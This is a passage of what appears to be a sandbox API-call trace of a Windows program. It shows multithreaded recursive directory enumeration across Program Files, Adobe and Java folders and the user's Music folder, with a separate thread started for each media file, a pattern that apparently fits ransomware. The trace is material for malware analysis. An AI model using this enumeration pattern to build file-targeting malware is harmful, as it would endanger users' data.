returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\" [0049.807] wcscat (in: _Dest=0x4ee0b8, _Source="Debugger" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger" [0051.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4ee0b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca8 [0051.288] FindNextFileW (in: hFindFile=0x40a2e8, lpFindFileData=0x430fa8 | out: lpFindFileData=0x430fa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Debugger", cAlternateFileName="")) returned 0 [0051.288] FindClose (in: hFindFile=0x40a2e8 | out: hFindFile=0x40a2e8) returned 1 [0051.288] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430fa8) returned 1 [0051.288] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4172c0) returned 1 [0051.288] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416780) returned 1 Thread: id = 452 os_tid = 0xe00 [0049.215] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48d458 [0049.215] wcscpy (in: _Dest=0x48d458, _Source="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate" [0049.215] wcscat (in: _Dest=0x48d458, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\" [0049.215] wcscat (in: _Dest=0x48d458, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*" [0049.215] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430870 [0049.215] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ba8 [0049.808] wcscmp (_String1=".", _String2=".") returned 0 [0049.808] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.808] wcscmp (_String1="..", _String2=".") returned 1 [0049.808] wcscmp (_String1="..", _String2="..") returned 0 [0049.808] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0049.808] wcscmp (_String1="Security", _String2=".") returned 1 [0049.808] wcscmp (_String1="Security", _String2="..") returned 1 [0049.808] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x43a060 [0049.808] wcscpy (in: _Dest=0x43a060, _Source="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate" [0049.808] wcscat (in: _Dest=0x43a060, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\" [0049.808] wcscat (in: _Dest=0x43a060, _Source="Security" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security" [0051.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43a060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0051.290] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x430870 | out: lpFindFileData=0x430870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0051.290] FindClose (in: hFindFile=0x409ba8 | out: hFindFile=0x409ba8) returned 1 [0051.290] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430870) returned 1 [0051.290] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d458) returned 1 [0051.290] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a2b0) returned 1 Thread: id = 453 os_tid = 0xe04 [0049.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4ef180 [0049.216] wcscpy (in: _Dest=0x4ef180, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" [0049.216] wcscat (in: _Dest=0x4ef180, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\" [0049.216] wcscat (in: _Dest=0x4ef180, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*" [0049.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f798 [0049.216] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409f28 [0049.809] wcscmp (_String1=".", _String2=".") returned 0 [0049.809] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.809] wcscmp (_String1="..", _String2=".") returned 1 [0049.809] wcscmp (_String1="..", _String2="..") returned 0 [0049.809] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0049.809] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0049.809] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0049.809] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x447320 [0049.809] wcscpy (in: _Dest=0x447320, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" [0049.810] wcscat (in: _Dest=0x447320, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\" [0049.810] wcscat (in: _Dest=0x447320, _Source="Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat" [0051.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x447320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8 [0051.291] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0051.292] wcscmp (_String1="Linguistics", _String2=".") returned 1 [0051.292] wcscmp (_String1="Linguistics", _String2="..") returned 1 [0051.292] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416780 [0051.292] wcscpy (in: _Dest=0x416780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" [0051.292] wcscat (in: _Dest=0x416780, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\" [0051.292] wcscat (in: _Dest=0x416780, _Source="Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics" [0051.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x416780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcac [0051.293] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0051.293] FindClose (in: hFindFile=0x409f28 | out: hFindFile=0x409f28) returned 1 [0051.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f798) returned 1 [0051.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef180) returned 1 [0051.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419310) returned 1 Thread: id = 454 os_tid = 0xe08 [0049.217] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x4ef1f8 [0049.217] wcscpy (in: _Dest=0x4ef1f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun" [0049.217] wcscat (in: _Dest=0x4ef1f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\" [0049.217] wcscat (in: _Dest=0x4ef1f8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*" [0049.217] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f530 [0049.217] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x42f530 | out: lpFindFileData=0x42f530*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409d28 [0049.810] wcscmp (_String1=".", _String2=".") returned 0 [0049.810] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x42f530 | out: lpFindFileData=0x42f530*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.810] wcscmp (_String1="..", _String2=".") returned 1 [0049.810] wcscmp (_String1="..", _String2="..") returned 0 [0049.810] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x42f530 | out: lpFindFileData=0x42f530*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0049.810] wcscmp (_String1="Java", _String2=".") returned 1 [0049.810] wcscmp (_String1="Java", _String2="..") returned 1 [0049.810] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a0d8 [0049.810] wcscpy (in: _Dest=0x43a0d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun" [0049.810] wcscat (in: _Dest=0x43a0d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\" [0049.810] wcscat (in: _Dest=0x43a0d8, _Source="Java" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" [0057.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43a0d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca4 [0057.815] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x42f530 | out: lpFindFileData=0x42f530*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0057.816] FindClose (in: hFindFile=0x409d28 | out: hFindFile=0x409d28) returned 1 [0057.816] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f530) returned 1 [0057.816] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef1f8) returned 1 [0057.816] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420e08) returned 1 Thread: id = 455 os_tid = 0xe0c [0049.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x48d4c0 [0049.218] wcscpy (in: _Dest=0x48d4c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" [0049.218] wcscat (in: _Dest=0x48d4c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0049.218] wcscat (in: _Dest=0x48d4c0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\*" [0049.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42edf8 [0049.218] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\*", lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4133b7b0, ftCreationTime.dwHighDateTime=0x1d4cd16, ftLastAccessTime.dwLowDateTime=0xe8fa800, ftLastAccessTime.dwHighDateTime=0x1d4d52c, ftLastWriteTime.dwLowDateTime=0xe8fa800, ftLastWriteTime.dwHighDateTime=0x1d4d52c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409d28 [0049.218] wcscmp (_String1=".", _String2=".") returned 0 [0049.218] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4133b7b0, ftCreationTime.dwHighDateTime=0x1d4cd16, ftLastAccessTime.dwLowDateTime=0xe8fa800, ftLastAccessTime.dwHighDateTime=0x1d4d52c, ftLastWriteTime.dwLowDateTime=0xe8fa800, ftLastWriteTime.dwHighDateTime=0x1d4d52c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.218] wcscmp (_String1="..", _String2=".") returned 1 [0049.218] wcscmp (_String1="..", _String2="..") returned 0 [0049.218] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0031fb0, ftCreationTime.dwHighDateTime=0x1d4ca0a, ftLastAccessTime.dwLowDateTime=0xed62710, ftLastAccessTime.dwHighDateTime=0x1d4c6ab, ftLastWriteTime.dwLowDateTime=0xed62710, ftLastWriteTime.dwHighDateTime=0x1d4c6ab, nFileSizeHigh=0x0, nFileSizeLow=0x2a39, dwReserved0=0x0, dwReserved1=0x0, cFileName="1APn.mp3", cAlternateFileName="")) returned 1 [0049.218] wcscmp (_String1="1APn.mp3", _String2=".") returned 1 [0049.218] wcscmp (_String1="1APn.mp3", _String2="..") returned 1 [0049.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x5e468e8 [0049.218] wcscpy (in: _Dest=0x5e468e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" [0049.218] wcscat (in: _Dest=0x5e468e8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0049.218] wcscat (in: _Dest=0x5e468e8, _Source="1APn.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\1APn.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\1APn.mp3" [0049.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e468e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0049.415] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x861eadb0, ftCreationTime.dwHighDateTime=0x1d4ccc8, ftLastAccessTime.dwLowDateTime=0x94ffdd50, ftLastAccessTime.dwHighDateTime=0x1d4d22b, ftLastWriteTime.dwLowDateTime=0x94ffdd50, ftLastWriteTime.dwHighDateTime=0x1d4d22b, nFileSizeHigh=0x0, nFileSizeLow=0xfc81, dwReserved0=0x0, dwReserved1=0x0, cFileName="2X2m0wCgL23pI-X8AX.mp3", cAlternateFileName="2X2M0W~1.MP3")) returned 1 [0049.415] wcscmp (_String1="2X2m0wCgL23pI-X8AX.mp3", _String2=".") returned 1 [0049.415] wcscmp (_String1="2X2m0wCgL23pI-X8AX.mp3", _String2="..") returned 1 [0049.416] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4176b0 [0049.416] wcscpy (in: _Dest=0x4176b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" [0049.416] wcscat (in: _Dest=0x4176b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0049.416] wcscat (in: _Dest=0x4176b0, _Source="2X2m0wCgL23pI-X8AX.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\2X2m0wCgL23pI-X8AX.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\2X2m0wCgL23pI-X8AX.mp3" [0049.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4176b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18 [0049.417] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb234a970, ftCreationTime.dwHighDateTime=0x1d4cd15, ftLastAccessTime.dwLowDateTime=0x7db3b410, ftLastAccessTime.dwHighDateTime=0x1d4c6e0, ftLastWriteTime.dwLowDateTime=0x7db3b410, ftLastWriteTime.dwHighDateTime=0x1d4c6e0, nFileSizeHigh=0x0, nFileSizeLow=0x3798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ch5LXz82VeX1rUNelty.m4a", cAlternateFileName="CH5LXZ~1.M4A")) returned 1 [0049.417] wcscmp (_String1="Ch5LXz82VeX1rUNelty.m4a", _String2=".") returned 1 [0049.417] wcscmp (_String1="Ch5LXz82VeX1rUNelty.m4a", _String2="..") returned 1 [0049.417] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x417740 [0049.417] wcscpy (in: _Dest=0x417740, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK" [0049.417] wcscat (in: _Dest=0x417740, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\" [0049.417] wcscat (in: _Dest=0x417740, _Source="Ch5LXz82VeX1rUNelty.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\Ch5LXz82VeX1rUNelty.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\Ch5LXz82VeX1rUNelty.m4a" [0049.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c [0049.418] FindNextFileW (in: hFindFile=0x409d28, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa92c83b0, ftCreationTime.dwHighDateTime=0x1d4c915, ftLastAccessTime.dwLowDateTime=0xaae4e080, ftLastAccessTime.dwHighDateTime=0x1d4cb22, ftLastWriteTime.dwLowDateTime=0xaae4e080, ftLastWriteTime.dwHighDateTime=0x1d4cb22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fIIk", cAlternateFileName="")) returned 1 [0049.418] wcscmp (_String1="fIIk", _String2=".") returned 1 [0049.418] wcscmp (_String1="fIIk", _String2="..") returned 1 